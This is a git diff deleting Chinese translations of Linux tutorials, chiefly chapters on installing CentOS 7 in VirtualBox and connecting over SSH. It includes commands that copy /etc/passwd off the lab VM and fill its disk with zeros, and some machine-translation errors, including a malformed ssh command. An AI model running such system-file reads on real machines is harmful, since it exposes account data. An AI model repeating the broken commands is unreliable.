[组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/conf-ipcop-fw/SUMMARY.md b/docs/conf-ipcop-fw/SUMMARY.md deleted file mode 100644 index 2746e713..00000000 --- a/docs/conf-ipcop-fw/SUMMARY.md +++ /dev/null @@ -1,13 +0,0 @@ -+ [配置 IPCop 防火墙](README.md) -+ [零、前言](00.md) -+ [一、防火墙简介](01.md) -+ [二、IPCop 简介](02.md) -+ [三、部署 IPCop 和设计网络](03.md) -+ [四、安装 IPCop](04.md) -+ [九、IPCop 的基本用法说明](05.md) -+ [六、将 IPCop 用于入侵检测](06.md) -+ [七、虚拟专用网络](07.md) -+ [八、使用 IPCop 管理带宽](08.md) -+ [九、自定义 IPCop](09.md) -+ [十、测试、审核和强化 IPCop](10.md) -+ [十一、IPCop 支持](11.md) diff --git a/docs/fund-linux/0.md b/docs/fund-linux/0.md deleted file mode 100644 index 7a448915..00000000 --- a/docs/fund-linux/0.md +++ /dev/null @@ -1,65 +0,0 @@ -# 零、前言 - -在这本书里,目标是建立一个坚实的基础,学习 Linux 命令行的所有要点,让你开始。它被设计成非常专注于只学习实用的核心技能和基本的 Linux 知识,这在以简单的方式开始这个美妙的操作系统时非常重要。本课程中展示的所有示例都是经过精心挑选的,它们是日常和现实世界中的任务、用例以及 Linux 初学者或系统管理员从零开始时可能会遇到的问题。我们从虚拟化软件开始我们的旅程,并安装 CentOS 7 Linux 作为虚拟机。然后,我们将温和地向您介绍最基本的命令行操作,如光标移动、命令、选项和参数、历史、引用和 globbing、文件流和管道以及获取帮助,然后向您介绍正则表达式的奇妙艺术以及如何使用文件。然后,演示和解释了最基本的日常 Linux 命令,并提供了对 Bash shell 脚本的简洁介绍。最后,向读者介绍一些高级主题,如网络、如何排除系统故障、高级文件权限、ACL、setuid、setgid 和粘性位。这只是一个起点,关于 Linux 你还可以学到很多。 - -# 这本书是给谁的 - -这本书是为希望成为 Linux 系统管理员的个人准备的。 - -# 这本书涵盖了什么 - -[第一章](1.html),*Linux 简介*,给大家介绍一下 Linux 的大致思路。主题从虚拟化、VirtualBox 和 CentOS 的安装,到 VirtualBox 的工作动态,以及与 VirtualBox 的 SSH 连接。 - -[第 2 章](2.html)、*Linux 命令行*对广泛的主题进行了阐述,包括 shell globbing、命令行操作介绍、Linux 文件系统中文件和文件夹的导航、不同流的中心思想、正则表达式以及 grep、sed 和 awk 等重要命令。 - -[第 3 章](3.html)、*Linux 文件系统*重点介绍了系统的工作动态,包括文件链接、用户和组、文件权限、文本文件、文本编辑器以及对 Linux 文件系统的理解。 - -[第 4 章](4.html)、*使用命令行*,带您浏览基本的 Linux 命令、信号、附加程序、进程和 Bash shell 脚本。 - -[第 5 章](5.html)、*更高级的命令行和概念*,概述了基本的网络概念、服务、ACL、故障排除、setuid、setgid 和粘性位。 - -# 充分利用这本书 - -您将需要基本的实验室设置,以及至少一个具有 8 GB 内存和双核处理器的系统。如果您计划创建虚拟环境,则建议使用具有相同内存和四核处理器的系统。 - -VirtualBox 和 VMware 工作站是 Windows 的最佳选择。对于苹果系统,在 parallels 上运行测试系统。 - -在整本书中,我们使用了 CentOS 7 minimal 作为操作系统。 - -# 下载彩色图像 - -我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。你可以在这里下载:[https://www . packtpub . com/sites/default/files/downloads/原教旨主义 Linux_ColorImages.pdf](https://www.packtpub.com/sites/default/files/downloads/FundamentalsofLinux_ColorImages.pdf) 。 - -# 使用的约定 - -本书通篇使用了许多文本约定。 - -`CodeInText`:表示文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和推特句柄。这里有一个例子:“第一个 CentOS 7 虚拟机服务器现在可以使用带端口`2222`的 IP `127.0.0.1`访问,第二个在端口`2223`,第三个在端口`2224` - -任何命令行输入或输出都编写如下: - -```sh -# yum update -y -``` - -**粗体**:表示一个新的术语、一个重要的单词或者你在屏幕上看到的单词。例如,菜单或对话框中的单词像这样出现在文本中。这里有一个例子:“选择我们的 CentOS 7 服务器虚拟机,并点击绿色的开始按钮来启动它。” - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 取得联系 - -我们随时欢迎读者的反馈。 - -**综合反馈**:发邮件`feedback@packtpub.com`并在邮件主题中提及书名。如果您对本书的任何方面有疑问,请发电子邮件至`questions@packtpub.com`。 - -**勘误表**:虽然我们已经尽了最大的努力来保证内容的准确性,但是错误还是会发生。如果你在这本书里发现了一个错误,如果你能向我们报告,我们将不胜感激。请访问[www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的我们作品的非法拷贝,如果您能提供我们的位置地址或网站名称,我们将不胜感激。请通过`copyright@packtpub.com`联系我们,并提供材料链接。 - -**如果你有兴趣成为一名作者**:如果有一个你有专长的话题,你有兴趣写或者投稿一本书,请访问[authors.packtpub.com](http://authors.packtpub.com/)。 - -# 复习 - -请留下评论。一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢?然后,潜在的读者可以看到并使用您不带偏见的意见来做出购买决定,我们在 Packt 可以了解您对我们产品的看法,我们的作者可以看到您对他们的书的反馈。谢谢大家! - -更多关于 Packt 的信息,请访问[packtpub.com](https://www.packtpub.com/)。 \ No newline at end of file diff --git a/docs/fund-linux/1.md b/docs/fund-linux/1.md deleted file mode 100644 index 5a49394e..00000000 --- a/docs/fund-linux/1.md +++ /dev/null @@ -1,244 +0,0 @@ -# 一、Linux 简介 - -一个**操作系统** ( **操作系统**)是一个运行在你的电脑上的特殊软件,它使得启动和运行微软 Word 和 Excel 等程序成为可能。除此之外,它还为您处理计算机的输入和输出,并提供文件系统和硬件控制。你可能已经知道的操作系统的例子有 Windows、macOS、iOS 或 Android。 - -在本章中,我们将涵盖以下主题: - -* Linux 系统概述 -* 虚拟化 -* 安装 VirtualBox 和 CentOS -* 使用 VirtualBox -* 通过 SSH 连接虚拟机 - -# Linux 系统概述 - -Linux 并不是一个特定的、完全工作的操作系统的名称,它只是实现了一个操作系统必不可少的内核,也就是内核。大多数类型的 Linux 操作系统不需要花费任何费用,而是提供数千个程序和软件来完全免费使用。这些程序中的大多数也是开源的,这意味着你可以查看程序是如何创建的确切蓝图,并且它可以被任何人更改。Linux 非常流行并且被大量使用的一个非常重要的领域是管理许多网络服务。这些程序在您的 Linux 服务器的后台运行,持续等待外部事件以某种动作或信息进行响应。例子是流行的互联网服务,如向用户展示网站的网络服务器;电子邮件通信的主要服务器;以及存储和传递任何类型数据的数据库服务器。如前所述,Linux 只是内核部分的名称,并不是一个完整的工作 OS。为了使它完整,你需要把它和各种程序捆绑在一起,这就是所谓的**分布**。 - -如今,人们可以在数量惊人的不同 Linux 发行版之间进行选择,这些发行版都是为特殊目的而设计的,并且各有利弊。它们之间的主要区别是选择的软件和 Linux 内核捆绑在一起。最重要的 Linux 发行家族是基于红帽和 Debian 的 Linux 发行版。CentOS 是目前最重要的免费红帽 Linux 服务器发行版之一。这是一个非常稳定、安全和可靠的操作系统,这就是为什么它经常被用于在企业环境中运行非常关键的网络服务。此外,很高兴知道这个操作系统的开发非常强大,并且更新经过了很好的选择和适当的测试。本书第一章是关于安装 Linux 的;在这里,我们将从向您介绍虚拟化的概念开始。然后,我们将使用名为 VirtualBox 的免费虚拟化软件创建一个新的 CentOS 7 **虚拟机** ( **VM** )。 - -# 虚拟化 - -在本节中,我们将向您概述虚拟化的概念。我们还将向您展示如何使用 VirtualBox,然后向您展示如何在 VirtualBox 中安装您的第一台 CentOS 7 虚拟机。这是一个非常热门的话题,目前的核心 It 技能是虚拟化。 - -简单地说,它是一种在同一台计算机上运行与主操作系统并行的独立操作系统的技术。例如,如果您当前在一台 Windows 计算机上工作,您可以在桌面上并行运行另一个操作系统,如 Linux 或 macOS,以运行一个简单的 Windows 应用。现代虚拟化软件甚至没有限制您只能运行一个并行操作系统,但您可以并行运行多个系统。限制仅由您自己的计算机硬件定义。虚拟化技术在现代信息技术中的应用层出不穷,你会发现它们无处不在。优势可以从改变信息技术基础设施范例到撤销对操作系统的更改,这对初学者来说非常理想。 - -在云计算或现代数据中心中,强大的虚拟化服务器集群同时运行许多不同的操作系统,而不是使用专用的服务器硬件。如果你想在虚拟化时代之前使用 Linux,你需要访问专用的物理计算机。此外,大多数初学者在开始使用 Linux 时,会多次搞砸他们的新 Linux 安装。通常,这样的系统改变可能很难重新启动,唯一有效和有用的结果是在卡住时重新安装一个完整的系统。虚拟化解决了所有这些问题。由于其强大的功能,如克隆、拍摄快照或创建图像,我们将使用它来方便地处理整个章节中的所有示例,这也消除了对破坏某些东西的恐惧。目前,在商业和开源领域,有大量不同的虚拟化产品可供桌面和非图形服务器环境选择。 - -在核心层面上,所有这些不同的虚拟化产品都有相同的基本特性和通用定义,我们需要先弄清楚这些特性和定义,然后才能深入研究。当我们谈论与物理机操作系统并行运行的操作系统时,从现在起,我们将称它们为虚拟机或虚拟机。在同样的背景下,我们运行运行虚拟化软件的物理机的主操作系统称为**主机系统**或**虚拟机管理程序**。在该主机上运行的虚拟机称为**来宾系统**或**来宾**。复制和克隆是虚拟化最重要的功能之一。这可以为您节省宝贵的时间,例如,如果您需要另一台相同的机器或使您的工作更加便携。只需将图像复制到您的笔记本电脑或其他数据中心,您就完成了。虚拟机的可移植副本也称为**映像**。另一个很棒的功能是为您的虚拟机拍摄快照。拍摄这样的快照只需几秒钟,但会在任何给定时间点保存虚拟机的完整和当前状态。如果您想要保留您的虚拟机的给定版本,这非常有用,您以后可能会想要恢复到该版本。不同虚拟化产品的另一个共同点是支持的网络模式类型。 - -虚拟机可用于连接网络的不同模式如下: - -* **NAT** :您的来宾虚拟机的所有传入和传出网络流量都将通过主机网络适配器。这意味着虚拟机在我们当前所在的网络中不可见,我们只看到主机的 MAC 和 IP 地址。 -* **桥接**:这种网络模式意味着虚拟机暴露自己,连接到周围的物理网络,就好像它是一台拥有自己唯一 MAC 地址的普通物理机一样。该网络中的 DHCP 服务器将为机器提供不同于主机的 IP 地址。 -* **仅主机**:这意味着虚拟机只能与其主机通信,并且对其可见,而不能对网络的其他部分可见。 -* **特定虚拟网络**:这是一个非常棒的功能,您可以定义独立于周围物理网络的私有和隔离子网,然后将虚拟机与之相关联。这非常有用,因为只有虚拟机才能看到位于同一虚拟网络中的其他机器并与之对话。 - -# 安装 VirtualBox 和 CentOS - -在本节中,我们将向您展示如何在创建新的 CentOS 7 虚拟机之前安装名为 **VirtualBox** 的免费虚拟化软件。我们还将完成非常重要的安装后任务,这将需要在接下来的章节中执行。VirtualBox 的安装非常简单。每个主要的操作系统都有可执行的安装程序。以下是安装 VirtualBox 的步骤: - -1. 打开你最喜欢的网络浏览器,导航到[https://www.virtualbox.org/](https://www.virtualbox.org/)。现在,点击主页上清晰可见的下载按钮。 -2. 选择您选择的目标主机操作系统。在我们的示例中,我们将选择窗口。 -3. 单击 Windows 主机开始下载。此外,不要忘记下载 VirtualBox 扩展包,您可以在同一个下载页面上找到它。 - -这是一个包,将提供更好的 USB 支持,以及其他有用的功能。下载完成后,打开下载的安装程序运行它,并使用默认设置安装它。 - -现在,让我们在 VirtualBox 中创建新的 CentOS 7 虚拟机。为此,我们首先需要从 CentOS 官方网站([https://www.centos.org/](https://www.centos.org/))下载 CentOS 7 Minimal ISO 文件版本 1611。这仅包含运行非图形 Linux 服务器所需的最重要的软件包,这正是我们想要的。 - -以下是创建新的 CentOS 7 虚拟机的步骤: - -1. 打开网络浏览器,导航至[https://www.centos.org/](https://www.centos.org/)。导航到立即获取中心|最小国际标准化组织。 -2. 在下一个屏幕上,选择靠近您当前位置的下载网址,以加快下载速度。我目前位于德国,所以如果你在其他地方,我的实际下载网址很可能会与你的不同。 - -3. 等到下载完成。 - -On a modern and fast computer, you can install a fully working operating system such as CentOS 7 inside VirtualBox within a few minutes. - -4. 在您的系统上运行 VirtualBox。现在,让我们重复以下步骤来安装我们的第一个 CentOS 7 虚拟机: - 1. 单击新建按钮创建新虚拟机。如果您将虚拟机名称键入为`CentOS 7`,VirtualBox 将会正确识别另外两个字段,类型和版本,为 Linux 和红帽(64 位)。 - 2. 单击“下一步”按钮继续下一步。 - 3. 现在,选择虚拟机必须有多少内存或内存。如果您不希望主机系统出现任何性能问题,请留在“内存大小”窗口中显示给您的绿色区域。 - 4. 对于基本的无头服务器,这意味着非图形服务器,建议至少使用 2 GB 的内存。别担心,您也可以稍后更改此设置。 - 5. 单击下一步按钮,在下一个屏幕上保持默认设置不变。现在,点击创建。 - 6. 选择虚拟数据接口选项,然后单击下一步。现在,在这个屏幕上,保持动态分配选项。点击下一步。 - 7. 在下一个屏幕上,将虚拟硬盘的大小加倍到`16 GB`,因为`8 GB`对我们的工作来说太小了。 - 8. 最后,单击创建按钮创建一个新的空虚拟机,准备安装 CentOS 7。 - -现在,让我们在空虚拟机中安装 CentOS 7: - -1. 选择我们的 CentOS 7 服务器虚拟机,然后单击绿色的开始按钮启动它。在这里,我们下载的 CentOS 7 ISO 文件将被 VirtualBox 用作虚拟光盘,这是它可以引导或启动的地方。 -2. 为此,单击小文件夹符号,在文件浏览器中导航到您下载的 CentOS 7 最小 ISO 文件,然后单击开始按钮。 -3. 现在,您的虚拟机将向您呈现一个基于文本的开始菜单,我们将使用键盘上的向上箭头键选择安装 CentOS Linux 7,然后按*进入*启动安装程序。 - -4. 等待一段时间后,您将看到第一个图形安装屏幕。 - -Before we click or type something into the VM window for the first time, we need to know how we can switch back to our host system once we are in. If you click once on the guest window, a popup will show up telling you how you can switch controls back and forth. - -5. 选择安装程序语言。在我们的例子中,我们使用了默认的英语语言。 - -This is not the language of your CentOS 7 installation. We will set this type of information on the next screen. - -6. 点击继续。现在,我们在主安装屏幕上,我们可以自定义我们的安装。您需要等到所有项目都已加载。 - -Here, all the items which are marked with an exclamation mark need to be done before we can proceed with the installation, but you can also do optional settings here like setting your location information. - -7. 接下来,我们需要设置安装目的地。单击安装目的地。由于我们使用的是空虚拟机,我们将使用完整的硬盘进行安装,这是默认设置,因此只需单击屏幕左上角的完成即可。 -8. 在我们开始实际安装之前,让我们在这里快速启用我们的以太网卡,这样我们就不必使用命令行进行安装。如果您是代理人,您也可以在此菜单中添加此类信息。如果您准备好了,请单击完成。 -9. 现在,让我们点击开始安装。在安装过程中,为管理员或根帐户设置一个强而安全的密码,该帐户拥有系统的所有权限和控制权。设置强密码后,单击完成。 -10. 现在,在同一个屏幕上,您可以为您的日常工作创建一个普通用户帐户。 - -The first rule of any secure Linux system is never work with the root user unless you need to. - -11. 创建新用户帐户后,单击完成。 -12. 现在等到安装完成。安装完成后,单击重新启动按钮重新启动系统。 -13. 按下开始屏幕上的*回车*键将始终选择并使用最新的内核。 -14. 现在,等到您在这个窗口中获得一个登录屏幕,也称为我们的**服务终端**。 -15. 使用您在安装过程中设置的`root`用户和密码登录。 -16. 然后,在终端中输入以下命令,并按下*进入*键: - -```sh -# yum update -y -``` - -此命令将安装 CentOS 7 安装可用的所有最新软件更新,因为安装程序介质不包含这些更新。 - -If you get a new error while this command is running, something must be wrong with your internet connection, so troubleshoot internet connectivity on your host system. - -如果称为**内核**的 CentOS 7 系统的核心已经更新,我们需要重新启动系统。所以,在终端中输入`reboot`,然后按*进入*。再次重启后,按*进入*键,等待登录屏幕加载,再次登录。 - -接下来,我们键入另外两个命令,这将清空我们所有的可用空间,以便我们可以创建一个较小的系统备份映像。现在,在终端中键入以下具有管理/根访问权限的命令: - -```sh -dd if=/dev/zero of=/dd.img; rm -f /dd.img -``` - -![](img/dd89f9b1-6c49-4d9c-bd2e-d1777de8164d.png) - -现在,按下*进入*键。该命令将通过创建一个只包含零的大文件来覆盖 Linux 文件系统的所有可用空间,直到磁盘满为止。这需要一些时间,所以你需要耐心。如果这个命令输出一些文本,那么它已经完成了。您可以忽略错误输出,因为这是预期的行为。 - -最后,为了设置 SSH 端口转发,我们需要记下虚拟机连接的网络适配器的实际 IP 地址。运行以下命令: - -```sh -ip addr list -``` - -按*进入*,在输出行输入 IP 地址,即`inet`后面的值。在我们的例子中,它是`10.0.2.15`。 - -要关闭虚拟机,请使用以下命令,然后按下*进入*键: - -```sh -shutdown -h -``` - -# 使用 VirtualBox - -在本节中,我们将学习正确使用 VirtualBox 所需的最重要的步骤。请注意,这里讨论的大多数设置都可以直接从 VirtualBox 转换到任何其他桌面虚拟化软件,如 KVM、VMware、Workstation 或 Parallels Desktop。 - -让我们按照以下步骤导出虚拟机映像: - -1. 将光标定位到 Oracle 虚拟机虚拟箱管理器屏幕的左上角。在这里,单击文件菜单,并在下拉菜单中选择导出设备.... -2. 在同一个下拉菜单中,您会发现另一个名为“导入设备”的菜单项...,允许您在创建图像文件后导入该文件。 -3. 现在,单击导出设备...开始这个过程。 -4. 在导出虚拟设备屏幕中,选择要为其创建映像的虚拟机,然后单击下一步。 -5. 现在,在存储设置屏幕上,保持默认设置不变,然后再次单击下一步。 -6. 同样,在设备设置屏幕上,我们不想更改任何内容,因此单击导出按钮开始该过程。这需要一些时间,所以你需要耐心。 -7. 导出过程完成后,让我们检查结果文件是什么样子。 - -8. 转到 VirtualBox 导出您的文件的位置(通常,您会在`Documents`文件夹中找到它),然后右键单击并选择属性...查看文件属性的选项: - -![](img/84e27e87-2606-4198-be4b-93ece918959e.png) - -如您所见,导出的虚拟机大小超过 600 MB,这非常棒。现在可以将此映像文件复制到备份位置,或者传输到另一台机器或数据中心来运行它。在使用我们的虚拟机之前,我们应该做的下一件事是在安装后立即从当前状态制作快照,这样我们就可以随时恢复到现状。 - -按照以下步骤创建虚拟机的快照: - -1. 选择适当的虚拟机,然后单击标记虚拟机的快照选项。给它一个合适的名字和可选的描述。 -2. 我们接下来要做的是创建虚拟机的精确副本,这样我们就有了多个 CentOS 7 服务器。为此,右键单击虚拟机并选择克隆...选项。给它一个合适的名称,并标记名为重新初始化所有网卡的媒体访问控制地址的选项,这样它将被视为我们网络中唯一的机器。 -3. 在克隆类型窗口中,选择完整克隆,然后单击下一步继续。现在,单击克隆按钮,同时保持默认选项处于选中状态。 -4. 重复前面的步骤,创建另一个完全克隆的虚拟机。 - -现在,让我们演示一下使用快照的强大功能。在做有风险的事情之前,应该先拍一张快照。例如,启动我们的 CentOS 7 虚拟机之一并登录到系统。现在,让我们想象一下我们想要在`/boot`目录下工作,Linux 内核驻留在这个目录下。这是一个关键目录,因此最好在继续之前创建当前虚拟机状态的快照: - -![](img/d48ee046-1913-4a74-a58a-256d28f88b26.png) - -在前面的截图中,你可以看到我犯了一个严重的错误。我完全删除了整个内核目录,所以目录现在是空的。如果我现在重启系统会发生什么?让我们看看: - -![](img/bf467dd6-3550-4fbb-925a-537770181535.png) - -正如你在前面的截图中看到的,没有任何内核我无法启动,系统现在完全没有响应,这很难修复。这个问题最好的解决方案是什么?恢复到上次快照的状态。 - -执行以下步骤将虚拟机状态恢复到以前的快照: - -1. 首先关闭虚拟机。现在,选择您选择的快照,然后单击恢复按钮。这将询问您是否要创建当前状态的快照。如果我们不想这样做,那么我们点击恢复按钮,如下图所示: - -![](img/e3e6cd80-c64a-4825-84cf-816ead02378b.png) - -2. 现在,您可以启动虚拟机了。从下面的截图可以看到,我们正要执行`delete`命令: - -![](img/009ab1bc-88f1-436b-8356-4e05c96f302c.png) - -3. 如果我们再次启动机器,所有的问题都消失了,我们回到了删除内核文件之前的位置。建议经常使用快照功能,因为它可以节省您宝贵的时间。 - -4. 最后,如果需要,我们可以轻松调整虚拟机的硬件参数,如下图所示: - -![](img/78ae2521-726f-4e1b-b095-44527e0b4f62.png) - -Before making any hardware changes, ensure that you shut down the VM and then proceed. - -您只能在机器的一部分上执行此操作。选择您选择的虚拟机,单击设置,然后单击系统,您可以在其中调整内存。另外,您可以在这里调整您的虚拟流程。单击显示以更改视频内存设置。在“存储”下,您可以附加虚拟硬盘或创建新硬盘。在“网络”下,您可以为虚拟机创建新的网络适配器,并在不同的网络模式之间进行选择。在通用串行总线下,选择通用串行总线 2.0 (EHCI)控制器,以便我们可以根据需要将物理通用串行总线设备正确连接到虚拟机。 - -# 通过 SSH 连接虚拟机 - -通过 VirtualBox 用户界面使用终端窗口来使用新的 Linux 操作系统将使您入门,并可用于配置新服务器的最基本设置。一种更方便、更高效、更专业的访问服务器命令行的方法是使用终端模拟器程序和 SSH。终端仿真器是在操作系统的独立窗口中运行在 VirtualBox 之外的外部程序。它可以像您的服务器的主黑白终端一样使用: - -![](img/f63d8094-3876-4c70-8f94-f9fac7a7018f.png) - -它有很多方便的功能,比如从你的操作系统窗口轻松复制粘贴到剪贴板,自定义字体大小和颜色。此外,它使用选项卡以获得更好的导航,但是如何从服务器与这样的终端仿真器通信呢?这是使用客户机-服务器连接完成的。主机上运行的终端模拟器将被拒绝;我们将连接到 CentOS 7 服务器,在其上执行命令。这样的连接可以使用 SSH 来完成。这是一个远程访问和使用 Linux 服务器的系统。它使用强加密来实现安全连接。由于 SSH 是任何 Linux 服务器上最基本的通信核心服务之一,它已经在 CentOS 7 上安装并启用。我们所需要做的就是在我们的终端模拟器程序中运行一个 SSH 客户端,它可以与在 Linux 和 macOS 上运行 SSH 服务的任何服务器、一个终端模拟器程序和一个开源软件进行连接和通信,因为 stage 客户端已经默认安装并准备好使用。 - -在 Windows 上,您需要安装程序 PuTTY,它不仅包含 SSH 客户端程序,而且是一个完全可操作的终端仿真器。在我们能够访问 CentOS 7 SSH 服务之前,我们需要使其正确的网络地址对运行终端仿真器的主机系统可用。用于客户端和服务器之间通信的正确网络连接总是由一个 IP 地址或域名以及一个特定的端口号组成。域名或 IP 就像一个门牌号,而端口号就像那栋房子里的确切公寓号。我们始终需要这两个值来正确交付网络包。默认情况下,任何来宾虚拟机的端口对外部主机系统都不可用,因此我们首先需要使用名为**端口转发**的功能来创建主机和来宾之间的链接。默认情况下,SSH 在端口`22`上运行,但是这个低端口号不能被非管理员用户或路由用户用于转发。由于我们以普通用户的身份运行 VirtualBox,我们需要将端口`22`转发到高于`1024`的用户端口。 - -在我们的例子中,我们使用端口`2222`。为此,请执行以下步骤: - -1. 选择您选择的虚拟机,并导航到设置选项。单击网络选项卡。 -2. 探索高级选项。现在,单击端口转发按钮创建新的端口转发规则。 -3. 在端口转发规则窗口中,单击添加新端口转发规则按钮。现在,使用`127.0.0.1` IP 作为主机 IP 部分,它是本地主机的 IP,然后是主机端口`2222`。对于访客 IP 部分,键入`10.0.2.15`和访客端口`22`,如下图所示: - -![](img/aca9aac7-0be6-4362-8fc0-7e861efd7dbc.png) - -4. 单击确定创建此规则。 -5. 对我们之前克隆的另外两个 CentOS 7 虚拟机重复同样的操作。确保使用不同的主机端口,以便我们可以为每台主机创建不同的网络端点连接。 -6. 第一个 CentOS 7 虚拟机服务器现在可以使用带端口`2222`的 IP `127.0.0.1`访问,第二个在端口`2223`,第三个在端口`2224`访问。现在,启动您的所有三个 CentOS 7 虚拟机。 -7. 打开你最喜欢的终端模拟器,例如,xterm,GNOME 终端,或者(在我的例子中)Xfce4 终端。 -8. 要使用终端模拟器登录到您的第一台 CentOS 7 服务器,请使用根凭据。在“终端”窗口中键入以下命令: - -```sh -ssh -p space 2222 root@127.0.0.1\. -``` - -9. 按下*进入*键。该命令将您的本地 SSH 客户端连接到运行在端口`2222`上的 IP 地址`127.0.0.1`的 SSH 服务器,该服务器被重定向到端口`22`上您的虚拟机的网络地址`10.0.2.15`。 -10. 出现提示时,如果是第一次登录服务器,在终端中输入`yes`。 -11. 现在,输入您在安装过程中设置的根用户的凭据。 - -12. 在这里,我们现在可以像在真实的终端屏幕上一样工作和键入命令。我们还可以使用另外两个端口登录另外两个 CentOS 7 虚拟机。 -13. 要退出 SSH 会话,输入`exit`并按*进入*。 -14. 在 Windows 系统上,您可以使用名为 PuTTY 的免费程序来执行完全相同的操作。 -15. 只需打开 PuTTY 图形用户界面,输入 SSH 服务器的 IP 地址`127.0.0.1`,使用端口`2222`进行连接。现在,使用根帐户访问虚拟机。 -16. 设置端口转发后,最简单的方法是使用 Mac 或 Linux 上提供的免费 SCP 程序。在 Windows 上,你需要下载 PSCP。 -17. 要使用当前目录中的根用户将名为`/etc/passwd`的文件从 CentOS 7 VM guest 下载到主机,请键入以下命令: - -```sh -scp -P 2222 root@127.0.0.1:/etc/passwd . -``` - -18. 当被询问时,输入你的根密码。现在我们可以在本地查看该文件: - -![](img/3c35fec6-0326-4903-a313-e3297605db72.png) - -19. 反过来上传一个名为`my-local-file`的本地文件,里面填充了一些随机数据到服务器,然后输入`scp -P 2222 my-local-file root@127.0.0.1:~`。 -20. 按*进入*,输入你的 root 密码。文件现在已经上传到服务器的`/home`文件夹中,该文件夹由`~`指定。 - -# 摘要 - -在本章中,我们已经介绍了 Linux 和 VirtualBox 的概念。我们从了解操作系统的工作原理开始,并朝着虚拟化的方向发展。接下来,我们介绍了 VirtualBox 和 CentOS 的安装。然后,我们学习了如何使用 VirtualBox 并使用 SSH 连接它。 - -在下一章中,我们将了解命令行的工作原理。 \ No newline at end of file diff --git a/docs/fund-linux/2.md b/docs/fund-linux/2.md deleted file mode 100644 index f3953b18..00000000 --- a/docs/fund-linux/2.md +++ /dev/null @@ -1,528 +0,0 @@ -# 二、Linux 命令行 - -在本章中,我们将向您介绍开始使用 Linux 命令行时最基本的概念。这是一个非常强大和高效的工具,使用它,您可以执行在使用 Linux 时通常需要的各种操作。过多的快捷方式和技巧将帮助您更有效地浏览命令行。 - -在本章中,我们将带您了解以下内容: - -* 壳球状 -* 重定向和管道 -* `grep`、`sed`和`awk`命令 -* 在 Linux 系统中导航文件和文件夹 - -# 介绍命令行 - -在本节中,您将学习如何运行 Linux 命令行程序以及命令行的基本结构。您还将了解什么是程序选项和参数,以及为什么它们对自定义命令很重要。 - -当我们说 Linux 命令行的时候,我们真正指的是 **shell** 。重要的是要知道 Shell 不同于终端仿真器。终端是一个屏幕或窗口,允许你访问 Linux 服务器的输入和输出。shell 只是一个在服务器上运行的程序,和任何其他命令一样,它等待、解释、处理、执行和响应用户键入的命令。 - -首先,打开一个新的终端模拟器,使用 SSH 登录到您的 CentOS 7 服务器,正如我们在[第 1 章](1.html)、*Linux 简介*中了解到的。使用您在安装过程中设置的普通用户帐户登录,因为正如我们之前说过的,除非必须,否则永远不要使用根用户。在我的例子中,用户名是`olip`: - -![](img/3973123b-3647-47cd-963a-91fd8ea28937.png) - -成功登录到您的服务器后,一个重要的程序已经自动启动,它被称为 shell,并且一直在使用它。事实上,当我们谈论 Linux 终端时,我们真正谈论的是 Shell。存在几种 Shell 变体;在 CentOS 7 上,我们默认使用 **Bash** ,或者**伯恩再一次 Shell** 。当 shell 启动时,您首先会注意到以美元符号($)结尾的行,这称为 shell 提示符。 - -在我们的例子中,它给了我们一些有用的信息:登录用户名和我们所在的当前目录。波浪号是一个特殊的字符,它意味着主目录,这是登录时的默认目录。shell 提示符后出现光标,它是下划线字符,用户可以在这里键入文本,然后由 shell 处理和执行。但是用户输入只有在*键输入结束后才会被 shell 处理和执行。如果你犯了任何类型的错误,只要按退格键删除最后一个字符。我们将在本章中学习的第一个有用的命令是如何注销系统。* - -在 Linux 终端上,该命令注销当前用户并返回登录屏幕: - -1. 打开 Linux 终端,输入`logout`命令,然后按下*进入*键。 -2. 但是,如果您在使用 SSH 连接的同时执行相同的操作,它与我们在上一章中学习的`exit`命令具有相同的效果。 -3. 让我们尝试再次登录到 CentOS 服务器。 -4. 让我们尝试一个简单的命令;键入`date`并按下*进入*键。这是一个输出当前日期时间值的命令: - -![](img/997fd978-1da6-461b-a240-4087ce52aff9.png) - -如您所见,如果 shell 已经完成了特定命令的执行,并准备好接受用户的新输入,新的 shell 提示将出现在新的一行中,标记其准备就绪。现在,输入`cal`并按*进入*。这个命令打印出当前月份的漂亮的表格视图。 - -If the first character of any command types is prepended in the shell with the hash key, the command will not be executed when pressing the *Enter* key. - -典型的 Linux 系统(如 CentOS 7)包含数百个不同的命令,包括在默认安装中。如果你只能输入纯命令,其他什么都不能输入,我们在 shell 中的工作将非常有限和静态,你将根本无法正常工作。因此,我们需要一种方法来定制我们的命令或在执行过程中更改默认行为,为它们提供进一步的信息。但是我们怎么做呢? - -输入命令行选项和参数的威力。首先,我们需要讨论 shell 中一个命令的一般结构,它最简单的形式是`COMMANDNAME OPTIONS ARGUMENTS`。命令名称是要启动的命令的名称。请注意,在 Linux 中,命令名称区分大小写。键入`whoami`,然后按*进入*。这个命令将打印出在 shell 中工作的当前用户的名字。由于 Linux 区分大小写,该命令不能使用大写字母启动,因为每个版本都引用不同的命令。在这里,我们也将看到为什么 shell 是如此有用的程序。它不仅可以监听和解释命令,还可以在出现问题时向您显示有用的错误消息,例如在系统中找不到命令。通常,在 Linux 上,所有标准的 Bash 脚本命令都是用小写字母编写的。要获得一些可用命令的列表,请键入`ls /bin`。现在,让我们继续讨论 shell 中最基本的命令之一。键入`ls`并按下*进入*键。此命令列出目录中的文件。如果没有给出进一步的信息,它会打印出我们当前所在目录中的所有可见文件: - -![](img/df3b85c2-095a-4ffe-97cb-0be15e3cad29.png) - -如您所见,shell 